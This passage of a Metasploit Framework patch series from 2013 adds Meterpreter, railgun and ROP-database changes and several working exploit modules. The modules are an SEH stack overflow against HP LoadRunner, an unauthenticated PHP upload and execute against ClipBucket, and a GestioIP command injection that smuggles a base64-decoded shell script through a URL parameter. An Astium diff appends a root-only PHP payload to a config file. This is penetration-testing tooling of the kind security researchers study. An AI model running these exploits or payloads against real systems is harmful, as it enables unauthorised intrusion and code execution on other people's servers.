0, family, socket.SOCK_DGRAM, socket.IPPROTO_UDP)[0] + family = address_info[0] + address = address_info[4][0] + return {'family':family, 'address':address, 'packed_address':inet_pton(family, address)} + def windll_GetNativeSystemInfo(): if not has_windll: return None @@ -687,6 +713,37 @@ def stdapi_fs_stat(request, response): response += tlv_pack(TLV_TYPE_STAT_BUF, st_buf) return ERROR_SUCCESS, response +@meterpreter.register_function +def stdapi_net_resolve_host(request, response): + hostname = packet_get_tlv(request, TLV_TYPE_HOST_NAME)['value'] + family = packet_get_tlv(request, TLV_TYPE_ADDR_TYPE)['value'] + if family == WIN_AF_INET: + family = socket.AF_INET + elif family == WIN_AF_INET6: + family = socket.AF_INET6 + else: + raise Exception('invalid family') + result = resolve_host(hostname, family) + response += tlv_pack(TLV_TYPE_IP, result['packed_address']) + response += tlv_pack(TLV_TYPE_ADDR_TYPE, result['family']) + return ERROR_SUCCESS, response + +@meterpreter.register_function +def stdapi_net_resolve_hosts(request, response): + family = packet_get_tlv(request, TLV_TYPE_ADDR_TYPE)['value'] + if family == WIN_AF_INET: + family = socket.AF_INET + elif family == WIN_AF_INET6: + family = socket.AF_INET6 + else: + raise Exception('invalid family') + for hostname in packet_enum_tlvs(request, TLV_TYPE_HOST_NAME): + hostname = hostname['value'] + result = resolve_host(hostname, family) + response += tlv_pack(TLV_TYPE_IP, result['packed_address']) + response += tlv_pack(TLV_TYPE_ADDR_TYPE, result['family']) + return ERROR_SUCCESS, response + @meterpreter.register_function def stdapi_net_socket_tcp_shutdown(request, response): channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID) diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index 59bd457271..211d9f94c3 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -111,6 +111,24 @@ def packet_get_tlv(pkt, tlv_type): offset += tlv[0] return {} +def packet_enum_tlvs(pkt, tlv_type = None): + offset = 0 + while (offset < len(pkt)): + tlv = struct.unpack('>II', pkt[offset:offset+8]) + if (tlv_type == None) or ((tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type): + val = pkt[offset+8:(offset+8+(tlv[0] - 8))] + if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING: + val = val.split('\x00', 1)[0] + elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: + val = struct.unpack('>I', val)[0] + elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL: + val = bool(struct.unpack('b', val)[0]) + elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW: + pass + yield {'type':tlv[1], 'length':tlv[0], 'value':val} + offset += tlv[0] + raise StopIteration() + def tlv_pack(*args): if len(args) == 2: tlv = {'type':args[0], 'value':args[1]} @@ -271,7 +289,7 @@ class PythonMeterpreter(object): if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED: return ERROR_FAILURE preloadlib_methods = self.extension_functions.keys() - i = code.InteractiveInterpreter({'meterpreter':self, 'packet_get_tlv':packet_get_tlv, 'tlv_pack':tlv_pack, 'STDProcess':STDProcess}) + i = code.InteractiveInterpreter({'meterpreter':self, 'packet_enum_tlvs':packet_enum_tlvs, 'packet_get_tlv':packet_get_tlv, 'tlv_pack':tlv_pack, 'STDProcess':STDProcess}) i.runcode(compile(data_tlv['value'], '', 'exec')) postloadlib_methods = self.extension_functions.keys() new_methods = filter(lambda x: x not in preloadlib_methods, postloadlib_methods) From fcba42430838c9f40869e847b1058ed2834074b6 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Thu, 3 Oct 2013 11:01:27 -0500 Subject: [PATCH 105/210] Kill off EOL spaces on astium_sqli_upload. --- modules/exploits/linux/http/astium_sqli_upload.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/http/astium_sqli_upload.rb b/modules/exploits/linux/http/astium_sqli_upload.rb index 7680e51546..0319e37bc7 100644 --- a/modules/exploits/linux/http/astium_sqli_upload.rb +++ b/modules/exploits/linux/http/astium_sqli_upload.rb @@ -138,7 +138,7 @@ class Metasploit3 < Msf::Exploit::Remote phppayload << "$orig = file_get_contents('/usr/local/astium/web/php/config.php');" # Add the payload to the end of "/usr/local/astium/web/php/config.php". Also do a check if we are root, # else during the config reload it might happen that an extra shell is spawned as the apache user. - phppayload << "$replacement = base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\");" + phppayload << "$replacement = base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\");" phppayload << "$f = fopen('/usr/local/astium/web/php/config.php', 'w');" phppayload << "fwrite($f, $orig . \"<?php if (posix_getuid() == 0) {\" . $replacement . \"} ?>\");" phppayload << "fclose($f);" @@ -182,7 +182,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 120) # If we don't get a 200 when we request our malicious payload, we suspect - # we don't have a shell, either. + # we don't have a shell, either. if res and res.code != 200 print_error("#{peer} - Unexpected response...") end From 539a22a49ef462de4dad7d96687d374450f12c37 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Thu, 3 Oct 2013 12:20:47 -0500 Subject: [PATCH 106/210] Typo on Microsoft --- modules/exploits/windows/browser/ie_setmousecapture_uaf.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb index 3d36d13460..520c8d0067 100644 --- a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb +++ b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb @@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info={}) super(update_info(info, - 'Name' => "Micorosft Internet Explorer SetMouseCapture Use-After-Free", + 'Name' => "Microsoft Internet Explorer SetMouseCapture Use-After-Free", 'Description' => %q{ This module exploits a use-after-free vulnerability that currents targets Internet Explorer 9 on Windows 7, but the flaw should exist in versions 6/7/8/9/10/11. @@ -342,4 +342,4 @@ MSHTML!CTreeNode::GetInterface+0xd8: 66e13dfb 8b82c4000000 mov eax,dword ptr [edx+0C4h] 66e13e01 ffd0 call eax -=end \ No newline at end of file +=end From 39eb20e33a9b94042250c2cce821be2d2e0f4c30 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Thu, 3 Oct 2013 16:52:20 -0500 Subject: [PATCH 107/210] Add module for ZDI-13-169 --- .../windows/misc/hp_loadrunner_magentproc.rb | 82 +++++++++++++++++++ 1 file changed, 82 insertions(+) create mode 100644 modules/exploits/windows/misc/hp_loadrunner_magentproc.rb diff --git a/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb b/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb new file mode 100644 index 0000000000..b1e228d22c --- /dev/null +++ b/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb @@ -0,0 +1,82 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::Seh + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'HP LoadRunner magentproc.exe Overflow', + 'Description' => %q{ + This module exploits a stack buffer overflow in HP LoadRunner before 11.52. The + vulnerability exists on the LoadRunner Agent Process magentproc.exe. By sending + a specially crafted packet, an attacker may be able to execute arbitrary code. + }, + 'Author' => + [ + 'Unknown', # Original discovery # From Tenable Network Security + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2013-4800'], + ['OSVDB', '95644'], + ['http://www.zerodayinitiative.com/advisories/ZDI-13-169/'] + ], + 'Privileged' => false, + 'DefaultOptions' => + { + 'EXITFUNC' => 'seh', + 'SSL' => true, + 'SSLVersion' => 'SSL3' + }, + 'Payload' => + { + 'Space' => 5724, # without rop chain + 'StackAdjustment' => -3500, + 'BadChars' => "\x00" + }, + 'Platform' => 'win', + 'DefaultTarget' => 0, + 'Targets' => + [ + [ + 'Windows XP SP3 / HP LoadRunner 11.50', + { + # magentproc.exe 11.0.0.1002 + 'Offset' => 1104, + 'Ret' => 0x7ffc070e, # ppr # from NLS tables # Tested stable over Windows XP SP3 updates + 'Crash' => 10000 # Length needed to ensure an exception + } + ] + ], + 'DisclosureDate' => 'Jul 27 2013')) + + register_options([Opt::RPORT(443)], self.class) + end + + def exploit + + req = [0xffffffff].pack("N") # Fake Length + req << rand_text(target['Offset']) + req << generate_seh_record(target.ret) + req << payload.encoded + req << rand_text(target['Crash']) + + connect + print_status("sending 1") + sock.put(req) + disconnect + + end +end From 5971fe87f5f6120bb2ba5386e364a780e5568ed8 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Thu, 3 Oct 2013 17:19:53 -0500 Subject: [PATCH 108/210] Improve reliability --- .../windows/misc/hp_loadrunner_magentproc.rb | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb b/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb index b1e228d22c..ba0af35247 100644 --- a/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb +++ b/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb @@ -36,15 +36,16 @@ class Metasploit3 < Msf::Exploit::Remote 'Privileged' => false, 'DefaultOptions' => { - 'EXITFUNC' => 'seh', 'SSL' => true, - 'SSLVersion' => 'SSL3' + 'SSLVersion' => 'SSL3', + 'PrependMigrate' => true }, 'Payload' => { - 'Space' => 5724, # without rop chain - 'StackAdjustment' => -3500, - 'BadChars' => "\x00" + 'Space' => 4096, + 'DisableNops' => true, + 'BadChars' => "\x00", + 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 }, 'Platform' => 'win', 'DefaultTarget' => 0, @@ -56,7 +57,7 @@ class Metasploit3 < Msf::Exploit::Remote # magentproc.exe 11.0.0.1002 'Offset' => 1104, 'Ret' => 0x7ffc070e, # ppr # from NLS tables # Tested stable over Windows XP SP3 updates - 'Crash' => 10000 # Length needed to ensure an exception + 'Crash' => 6000 # Length needed to ensure an exception } ] ], @@ -74,7 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote req << rand_text(target['Crash']) connect - print_status("sending 1") + print_status("Sending malicious request...") sock.put(req) disconnect From 21afa9defee2679ac9686d446114c80ebce9ebb3 Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Fri, 4 Oct 2013 12:04:18 +1000 Subject: [PATCH 109/210] Meterpreter railgun multi call fix Modifications accommodate changes in the multi-call railgun code that were made to Meterpreter. This also includes a fix for Redmine 8269, so the Windows constants now work correctly with the multi-calls. --- .../extensions/stdapi/railgun/multicall.rb | 17 +++++++++++++---- .../extensions/stdapi/railgun/railgun.rb | 2 +- 2 files changed, 14 insertions(+), 5 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb index f35f380da1..9dc000e0bc 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb @@ -42,10 +42,13 @@ class MultiCaller include DLLHelper - def initialize( client, parent ) + def initialize( client, parent, win_consts ) @parent = parent @client = client + # needed by DLL helper + @win_consts = win_consts + if( @client.platform =~ /x64/i ) @native = 'Q' else @@ -224,9 +227,17 @@ class MultiCaller rec_out_only_buffers = response.get_tlv_value(TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT) rec_return_value = response.get_tlv_value(TLV_TYPE_RAILGUN_BACK_RET) rec_last_error = response.get_tlv_value(TLV_TYPE_RAILGUN_BACK_ERR) + rec_err_msg = response.get_tlv_value(TLV_TYPE_RAILGUN_BACK_MSG) + + # Error messages come back with trailing CRLF, so strip it out + # if we do get a message. + rec_err_msg.strip! if not rec_err_msg.nil? # The hash the function returns - return_hash={"GetLastError" => rec_last_error} + return_hash = { + "GetLastError" => rec_last_error, + "ErrorMessage" => rec_err_msg + } #process return value case function.return_type @@ -303,8 +314,6 @@ class MultiCaller protected - attr_accessor :win_consts - end # MultiCall end; end; end; end; end; end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb index 0a411b9dc7..0d6642011f 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb @@ -290,7 +290,7 @@ class Railgun # def multi(functions) if @multicaller.nil? - @multicaller = MultiCaller.new(client, self) + @multicaller = MultiCaller.new(client, self, ApiConstants.manager) end return @multicaller.call(functions) From 646429b4dd0fd705cb40265a2fa777a1a6a10add Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Thu, 3 Oct 2013 22:15:17 -0500 Subject: [PATCH 110/210] Put ready to pull request --- modules/exploits/windows/misc/hp_loadrunner_magentproc.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb b/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb index ba0af35247..a028d0f990 100644 --- a/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb +++ b/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb @@ -54,7 +54,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'Windows XP SP3 / HP LoadRunner 11.50', { - # magentproc.exe 11.0.0.1002 + # magentproc.exe 11.50.2042.0 'Offset' => 1104, 'Ret' => 0x7ffc070e, # ppr # from NLS tables # Tested stable over Windows XP SP3 updates 'Crash' => 6000 # Length needed to ensure an exception From 29d1c75d1cb1d4d49030e6403e226770ef017302 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Thu, 3 Oct 2013 23:09:23 -0500 Subject: [PATCH 111/210] Update RopDb mixin to allow dynamic payload size for neg This adds a new key to allow a "safe" integer value to NEG. "Safe" means the value does not have any null bytes after the NEG instruction, which is typically used to calculate the payload size. --- lib/rex/exploitation/ropdb.rb | 36 ++++++++++++++++++++++++++++++----- 1 file changed, 31 insertions(+), 5 deletions(-) diff --git a/lib/rex/exploitation/ropdb.rb b/lib/rex/exploitation/ropdb.rb index a72d88ab15..182d6df910 100644 --- a/lib/rex/exploitation/ropdb.rb +++ b/lib/rex/exploitation/ropdb.rb @@ -90,8 +90,10 @@ class RopDb Rex::Text.rand_text(4, badchars).unpack("V")[0].to_i elsif e == :size payload.length - elsif e == :size_negate - 0xffffffff - payload.length + 1 + elsif e == :unsafe_negate_size + get_unsafe_size(payload.length) + elsif e == :safe_negate_size + get_safe_size(payload.length) else e end @@ -105,6 +107,28 @@ class RopDb private + # + # Returns a size that's safe from null bytes. + # This function will keep incrementing the value of "s" until it's safe from null bytes. + # + def get_safe_size(s) + safe_size = get_unsafe_size(s) + while (safe_size.to_s(16).rjust(8, '0')).scan(/../).include?("00") + safe_size -= 1 + end + + safe_size + end + + + # + # Returns a size that might contain one or more null bytes + # + def get_unsafe_size(s) + 0xffffffff - s + 1 + end + + # # Checks if a ROP chain is compatible # @@ -146,8 +170,10 @@ class RopDb gadgets << :junk when 'size' gadgets << :size - when 'size_negate' - gadgets << :size_negate + when 'unsafe_negate_size' + gadgets << :unsafe_negate_size + when 'safe_negate_size' + gadgets << :safe_negate_size else gadgets << value.to_i(16) end @@ -160,4 +186,4 @@ class RopDb end end -end +end \ No newline at end of file From ab62af220b6074c4774ff85f4ec68f5685db5959 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Thu, 3 Oct 2013 23:12:58 -0500 Subject: [PATCH 112/210] Use safe_negate_size key for msvcrt (XP) --- data/ropdb/msvcrt.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/data/ropdb/msvcrt.xml b/data/ropdb/msvcrt.xml index 177767e9c0..2a5416d0c2 100644 --- a/data/ropdb/msvcrt.xml +++ b/data/ropdb/msvcrt.xml @@ -8,7 +8,7 @@ <gadgets base="0x77c10000"> <gadget offset="0x0002b860">POP EAX # RETN</gadget> - <gadget value="0xFFFFFBFF">0xFFFFFBFF -> ebx</gadget> + <gadget value="safe_negate_size">0xFFFFFBFF -> ebx</gadget> <gadget offset="0x0000be18">NEG EAX # POP EBP # RETN</gadget> <gadget value="junk">JUNK</gadget> <gadget offset="0x0001362c">POP EBX # RETN</gadget> From 63d7b8c309321e684dd1ef3c6273ba11b96de2c3 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Thu, 3 Oct 2013 23:13:57 -0500 Subject: [PATCH 113/210] Use safe_negate_size for java --- data/ropdb/java.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/data/ropdb/java.xml b/data/ropdb/java.xml index 1985d5c4d2..3a3959ce84 100644 --- a/data/ropdb/java.xml +++ b/data/ropdb/java.xml @@ -9,7 +9,7 @@ <gadget offset="0x00024c66">POP EBP # RETN</gadget> <gadget offset="0x00024c66">skip 4 bytes</gadget> <gadget offset="0x00004edc">POP EAX # RETN</gadget> - <gadget value="FFFFFBFF">0x00000201</gadget> + <gadget value="safe_negate_size">0x00000201</gadget> <gadget offset="0x00011e05">NEG EAX # RETN</gadget> <gadget offset="0x000136e3">POP EBX # RETN</gadget> <gadget value="0xffffffff"></gadget> From bc8604f1510d8492c7c7472878ed8d43d6124df4 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Thu, 3 Oct 2013 23:15:29 -0500 Subject: [PATCH 114/210] Use safe_negate_size for hxds --- data/ropdb/hxds.xml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/data/ropdb/hxds.xml b/data/ropdb/hxds.xml index 49c2a0a9a5..5531d05c06 100644 --- a/data/ropdb/hxds.xml +++ b/data/ropdb/hxds.xml @@ -11,7 +11,7 @@ <gadget offset="0x0001803c">POP EBP # RETN</gadget> <gadget offset="0x0001803c">skip 4 bytes</gadget> <gadget offset="0x0001750f">POP EBX # RETN</gadget> - <gadget value="fffffdff">0x00000201</gadget> + <gadget value="safe_negate_size">Safe size to NEG</gadget> <gadget offset="0x00005737">XCHG EAX, EBX # RETN</gadget> <gadget offset="0x0004df88">NEG EAX # RETN</gadget> <gadget offset="0x00005737">XCHG EAX, EBX # RETN</gadget> @@ -40,7 +40,7 @@ <gadget offset="0x0003e4fa">POP EBP # RETN</gadget> <gadget offset="0x0003e4fa">skip 4 bytes</gadget> <gadget offset="0x0006a2b4">POP EBX # RETN</gadget> - <gadget value="fffffdff">0x00000201</gadget> + <gadget value="safe_negate_size">Safe size to NEG</gadget> <gadget offset="0x00069351">XCHG EAX, EBX # RETN</gadget> <gadget offset="0x00025188">NEG EAX # POP ESI # RETN</gadget> <gadget value="junk">JUNK</gadget> From 81d4a8b8c1abddbb31a37ac8c4de79f0faa1c26a Mon Sep 17 00:00:00 2001 From: xistence <xistence@0x90.nl> Date: Fri, 4 Oct 2013 11:43:38 +0700 Subject: [PATCH 115/210] added clipbucket_upload_exec RCE --- .../unix/webapp/clipbucket_upload_exec.rb | 118 ++++++++++++++++++ 1 file changed, 118 insertions(+) create mode 100644 modules/exploits/unix/webapp/clipbucket_upload_exec.rb diff --git a/modules/exploits/unix/webapp/clipbucket_upload_exec.rb b/modules/exploits/unix/webapp/clipbucket_upload_exec.rb new file mode 100644 index 0000000000..0ef73509db --- /dev/null +++ b/modules/exploits/unix/webapp/clipbucket_upload_exec.rb @@ -0,0 +1,118 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => "ClipBucket Remote Code Execution", + 'Description' => %q{ + This module exploits a vulnerability found in ClipBucket version 2.6 and lower. + The script "/admin_area/charts/ofc-library/ofc_upload_image.php" can be used to + upload arbitrary code without any authentication. This module has been tested + on version 2.6 on CentOS 5.9 32-bit. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'xistence <xistence[at]0x90.nl>', # Metasploit module + 'Gabby' # Vulnerability Discovery, PoC + ], + 'References' => + [ + [ 'URL', 'http://packetstormsecurity.com/files/123480/ClipBucket-Remote-Code-Execution.html' ] + ], + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => + [ + ['Clipbucket 2.6', {}] + ], + 'Privileged' => false, + 'DisclosureDate' => "Oct 04 2013", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to the ClipBucket application', '/']) + ], self.class) + end + + def uri + return target_uri.path + end + + def check + # Check version + peer = "#{rhost}:#{rport}" + + print_status("#{peer} - Trying to detect installed version") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, "") + }) + + if res and res.code == 200 and res.body =~ /ClipBucket version (\d+\.\d+)/ + version = $1 + else + return Exploit::CheckCode::Unknown + end + + print_status("#{peer} - Version #{version} detected") + + if version > "2.6" + return Exploit::CheckCode::Safe + else + return Exploit::CheckCode::Vulnerable + end + + return Exploit::CheckCode::Safe + end + + def exploit + peer = "#{rhost}:#{rport}" + payload_name = rand_text_alphanumeric(rand(10) + 5) + ".php" + + print_status("#{peer} - Uploading payload [ #{payload_name} ]") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, "admin_area", "charts", "ofc-library", "ofc_upload_image.php"), + 'headers' => { 'Content-Type' => 'text/plain' }, + 'vars_get' => { 'name' => payload_name }, + 'data' => payload.encoded + }) + + # If the server returns 200 we assume we uploaded the malicious + # file successfully + if not res or res.code != 200 or res.body !~ /Saving your image to: \.\.\/tmp-upload-images\/(#{payload_name})/ or res.body =~ /HTTP_RAW_POST_DATA/ + fail_with(Failure::None, "#{peer} - File wasn't uploaded, aborting!") + end + + register_files_for_cleanup(payload_name) + + print_status("#{peer} - Executing Payload [ #{uri}/admin_area/charts/tmp-upload-images/#{payload_name} ]" ) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, "admin_area", "charts", "tmp-upload-images", payload_name) + }) + + # If we don't get a 200 when we request our malicious payload, we suspect + # we don't have a shell, either. + if res and res.code != 200 + print_error("#{peer} - Unexpected response, probably the exploit failed") + end + + end + +end \ No newline at end of file From 41e87d83a67623fedc80c9e46838dbc199fe0979 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Fri, 4 Oct 2013 00:54:07 -0500 Subject: [PATCH 116/210] Add rspec for Rex::Exploitation::RopDb --- spec/lib/rex/exploitation/ropdb_spec.rb | 91 +++++++++++++++++++++++++ 1 file changed, 91 insertions(+) create mode 100644 spec/lib/rex/exploitation/ropdb_spec.rb diff --git a/spec/lib/rex/exploitation/ropdb_spec.rb b/spec/lib/rex/exploitation/ropdb_spec.rb new file mode 100644 index 0000000000..497200f77e --- /dev/null +++ b/spec/lib/rex/exploitation/ropdb_spec.rb @@ -0,0 +1,91 @@ +require 'rex/exploitation/ropdb' + +describe Rex::Exploitation::RopDb do + context "Class methods" do + + context ".initialize" do + it "should initialize with a path of the ROP database ready" do + ropdb = Rex::Exploitation::RopDb.new + ropdb.instance_variable_get(:@base_path).should =~ /data\/ropdb\/$/ + end + end + + context ".has_rop?" do + ropdb = Rex::Exploitation::RopDb.new + + it "should find the msvcrt ROP database" do + ropdb.has_rop?("msvcrt").should eq(true) + end + + it "should find the java ROP database" do + ropdb.has_rop?("java").should eq(true) + end + + it "should find the hxds ROP database" do + ropdb.has_rop?("hxds").should eq(true) + end + + it "should find the flash ROP database" do + ropdb.has_rop?("flash").should eq(true) + end + + it "should return false when I supply an invalid database" do + ropdb.has_rop?("sinn3r").should eq(false) + end + end + + context ".select_rop" do + ropdb = Rex::Exploitation::RopDb.new + + it "should return msvcrt gadgets" do + gadgets = ropdb.select_rop('msvcrt') + gadgets.length.should > 0 + end + + it "should return msvcrt gadgets for windows server 2003" do + gadgets = ropdb.select_rop('msvcrt', {'target'=>'2003'}) + gadgets.length.should > 0 + end + + it "should return msvcrt gadgets with a new base" do + gadgets1 = ropdb.select_rop('msvcrt') + gadgets2 = ropdb.select_rop('msvcrt', {'base'=>0x10000000}) + + gadgets2[0].should_not eq(gadgets1[0]) + end + end + + context ".generate_rop_payload" do + ropdb = Rex::Exploitation::RopDb.new + + it "should generate my ROP payload" do + ropdb.generate_rop_payload('msvcrt', 'AAAA').should =~ /AAAA$/ + end + + it "should generate my ROP payload with my stack pivot" do + ropdb.generate_rop_payload('msvcrt', 'AAAA', {'pivot'=>'BBBB'}).should =~ /^BBBB/ + end + end + + context ".get_safe_size" do + ropdb = Rex::Exploitation::RopDb.new + + it "should return 0xfffffed0 (value does not need to be modified to avoid null bytes)" do + ropdb.send(:get_safe_size, 304).should eq(0xfffffed0) + end + + it "should return 0xfffffeff (value is modified to avoid null bytes)" do + ropdb.send(:get_safe_size, 256).should eq(0xfffffeff) + end + end + + context ".get_unsafe_size" do + ropdb = Rex::Exploitation::RopDb.new + + it "should return 0xfffffc00 (contains a null byte)" do + ropdb.send(:get_unsafe_size, 1024).should eq(0xfffffc00) + end + end + + end +end \ No newline at end of file From 7414dff9583e5f6049e90bc5a7b4a9d7b1f14df3 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Fri, 4 Oct 2013 08:51:13 -0400 Subject: [PATCH 117/210] Add fault tolerance for resolve_hosts. --- data/meterpreter/ext_server_stdapi.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index 1ce23044fc..b0b02b86e6 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -739,7 +739,10 @@ def stdapi_net_resolve_hosts(request, response): raise Exception('invalid family') for hostname in packet_enum_tlvs(request, TLV_TYPE_HOST_NAME): hostname = hostname['value'] - result = resolve_host(hostname, family) + try: + result = resolve_host(hostname, family) + except socket.error: + result = {'family':family, 'packed_address':''} response += tlv_pack(TLV_TYPE_IP, result['packed_address']) response += tlv_pack(TLV_TYPE_ADDR_TYPE, result['family']) return ERROR_SUCCESS, response From 0112d6253c367cab60fcc2773d007e91b84e15d7 Mon Sep 17 00:00:00 2001 From: Brandon Perry <bperry.volatile@gmail.com> Date: Fri, 4 Oct 2013 06:39:30 -0700 Subject: [PATCH 118/210] add gestio ip module --- modules/exploits/multi/http/gestioip_exec.rb | 81 ++++++++++++++++++++ 1 file changed, 81 insertions(+) create mode 100644 modules/exploits/multi/http/gestioip_exec.rb diff --git a/modules/exploits/multi/http/gestioip_exec.rb b/modules/exploits/multi/http/gestioip_exec.rb new file mode 100644 index 0000000000..24cf47d293 --- /dev/null +++ b/modules/exploits/multi/http/gestioip_exec.rb @@ -0,0 +1,81 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit4 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'GestioIP Remote Command Execution', + 'Description' => %q{ + This module exploits a command injection flaw to create a shell script + on the FS and execute it. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'bperry' #Initial Discovery and metasploit module + ], + 'References' => + [ + ], + 'Payload' => + { + 'Space' => 475, # not a lot of room + 'DisableNops' => true, + 'BadChars' => "#", + }, + 'Platform' => [ 'unix', 'win', 'linux' ], + 'Arch' => ARCH_CMD, + 'Targets' => [[ 'Automatic GestioIP 3.0', { }]], + 'Privileged' => false, + 'DisclosureDate' => 'Mar 3 2011', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('URI', [true, 'URI', '/gestioip/']), + OptString.new('USERNAME', [false, 'The username to auth as', 'gipadmin']), + OptString.new('PASSWORD', [false, 'The password to auth with', 'password']), + OptBool.new('USE_AUTH', [true, 'Whether to attempt basic authentication or not', false]) + ], self.class) + end + + def uri + datastore['URI'] + end + + def user + datastore['USERNAME'] + end + + def pass + datastore['PASSWORD'] + end + + def use_auth + datastore['USE_AUTH'] + end + + def exploit + headers = {} + if use_auth + headers['Authorization'] = "Basic " + Rex::Text.encode_base64("#{user}:#{pass}") + end + + pay = Rex::Text.encode_base64(payload.encoded) + file = Rex::Text.rand_text_alpha(8); + send_request_cgi({ + 'uri' => uri+"ip_checkhost.cgi?ip=2607:f0d0:$(echo${IFS}" + pay + "|base64${IFS}--decode|tee${IFS}"+file+"&&sh${IFS}"+file+"):0000:0000:0000:0000:0004&hostname=fsd&client_id=1&ip_version=", + 'headers' => headers + }) + end +end From ab786d14660eb2194328585717c724b712ce557b Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Fri, 4 Oct 2013 09:54:04 -0500 Subject: [PATCH 119/210] Imply authentication when a password is set 